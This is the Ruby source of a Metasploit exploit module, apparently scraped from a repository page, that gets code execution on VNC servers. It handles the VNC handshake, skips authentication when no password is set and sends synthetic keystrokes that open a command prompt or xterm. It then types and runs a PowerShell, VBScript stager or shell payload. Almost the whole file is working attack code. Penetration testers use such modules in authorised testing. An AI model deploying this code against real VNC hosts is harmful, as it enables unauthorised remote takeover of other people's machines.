Path: blob/master/modules/exploits/multi/vnc/vnc_keyboard_exec.rb
28167 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/exploitation'56class MetasploitModule < Msf::Exploit::Remote7Rank = GreatRanking8WINDOWS_KEY = "\xff\xeb"9ENTER_KEY = "\xff\x0d"1011include Msf::Exploit::Remote::Tcp12include Msf::Exploit::CmdStager13include Msf::Exploit::Powershell1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'VNC Keyboard Remote Code Execution',20'Description' => %q{21This module exploits VNC servers by sending virtual keyboard keys and executing22a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager23payload is typed and executed. On Unix/Linux systems a xterm terminal is opened24and a payload is typed and executed.25},26'Author' => [ 'xistence <xistence[at]0x90.nl>' ],27'Privileged' => false,28'License' => MSF_LICENSE,29'Platform' => %w{win unix},30'Targets' => [31[ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],32[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],33[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]34],35'References' => [36[ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/'],37[ 'ATT&CK', Mitre::Attack::Technique::T1021_005_VNC ]38],39'DisclosureDate' => '2015-07-10',40'DefaultTarget' => 0,41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)4849register_options(50[51Opt::RPORT(5900),52OptString.new('PASSWORD', [ false, 'The VNC password']),53OptInt.new('TIME_KBD_DELAY', [ true, 'Delay in milliseconds when typing long commands (0 to disable)', 50]),54OptInt.new('TIME_KBD_THRESHOLD', [ true, 'How many keystrokes between each delay in long commands', 50]),55OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])56]57)58end5960def post_auth?61true62end6364def press_key(key)65keyboard_key = "\x04\x01" # Press key66keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data67keyboard_key << key # The keyboard key68# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream69sock.put(keyboard_key)70end7172def release_key(key)73keyboard_key = "\x04\x00" # Release key74keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data75keyboard_key << key # The keyboard key76# Release the keyboard key. Note: No receive is done as everything is sent in one long data stream77sock.put(keyboard_key)78end7980def exec_command(command)81# Timing configuration: Typing a long command too fast may overload the tagret's keyboard buffer82delay_duration = datastore['TIME_KBD_DELAY']83delay_treshold = datastore['TIME_KBD_THRESHOLD']84delay_treshold = 0 if delay_treshold < 0 or delay_duration <= 085delay_duration = delay_duration.to_f / 100086# Break down command into a sequence of keypresses87values = command.chars.to_a88values.each_with_index do |value, index|89press_key("\x00#{value}")90release_key("\x00#{value}")91sleep(delay_duration) if delay_treshold > 0 and index % delay_treshold == 092end93press_key(ENTER_KEY)94end9596def start_cmd_prompt97print_status("#{rhost}:#{rport} - Opening Run command")98# Pressing and holding windows key for 1 second99press_key(WINDOWS_KEY)100Rex.select(nil, nil, nil, 1)101# Press the "r" key102press_key("\x00r")103# Now we can release both keys again104release_key("\x00r")105release_key(WINDOWS_KEY)106# Wait a second to open run command window107select(nil, nil, nil, 1)108exec_command('cmd.exe')109# Wait a second for cmd.exe prompt to open110Rex.select(nil, nil, nil, 1)111end112113def exploit114begin115alt_key = "\xff\xe9"116f2_key = "\xff\xbf"117password = datastore['PASSWORD']118119connect120vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)121122unless vnc.handshake123fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}")124end125126if password.nil?127print_status("#{rhost}:#{rport} - Bypass authentication")128# The following byte is sent in case the VNC server end doesn't require authentication (empty password)129sock.put("\x10")130else131print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")132if vnc.authenticate(password)133print_status("#{rhost}:#{rport} - Authenticated")134else135fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}")136end137end138139# Send shared desktop140unless vnc.send_client_init141fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}")142end143144if target.name =~ /VBScript CMDStager/145start_cmd_prompt146print_status("#{rhost}:#{rport} - Typing and executing payload")147execute_cmdstager({ :flavor => :vbs, :linemax => 8100 })148# Exit the CMD prompt149exec_command('exit')150elsif target.name =~ /Powershell/151start_cmd_prompt152print_status("#{rhost}:#{rport} - Typing and executing payload")153command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })154# Execute powershell payload and make sure we exit our CMD prompt155exec_command("#{command} && exit")156elsif target.name =~ /Linux/157print_status("#{rhost}:#{rport} - Opening 'Run Application'")158# Press the ALT key and hold it for a second159press_key(alt_key)160Rex.select(nil, nil, nil, 1)161# Press F2 to start up "Run application"162press_key(f2_key)163# Release ALT + F2164release_key(alt_key)165release_key(f2_key)166# Wait a second for "Run application" to start167Rex.select(nil, nil, nil, 1)168# Start a xterm window169print_status("#{rhost}:#{rport} - Opening xterm")170exec_command('xterm')171# Wait a second for "xterm" to start172Rex.select(nil, nil, nil, 1)173# Execute our payload and exit (close) the xterm window174print_status("#{rhost}:#{rport} - Typing and executing payload")175exec_command("nohup #{payload.encoded} &")176exec_command('exit')177end178179print_status("#{rhost}:#{rport} - Waiting for session...")180(datastore['TIME_WAIT']).times do181Rex.sleep(1)182183# Success! session is here!184break if session_created?185end186rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e187fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")188ensure189disconnect190end191end192193def execute_command(cmd, opts = {})194exec_command(cmd)195end196end197198199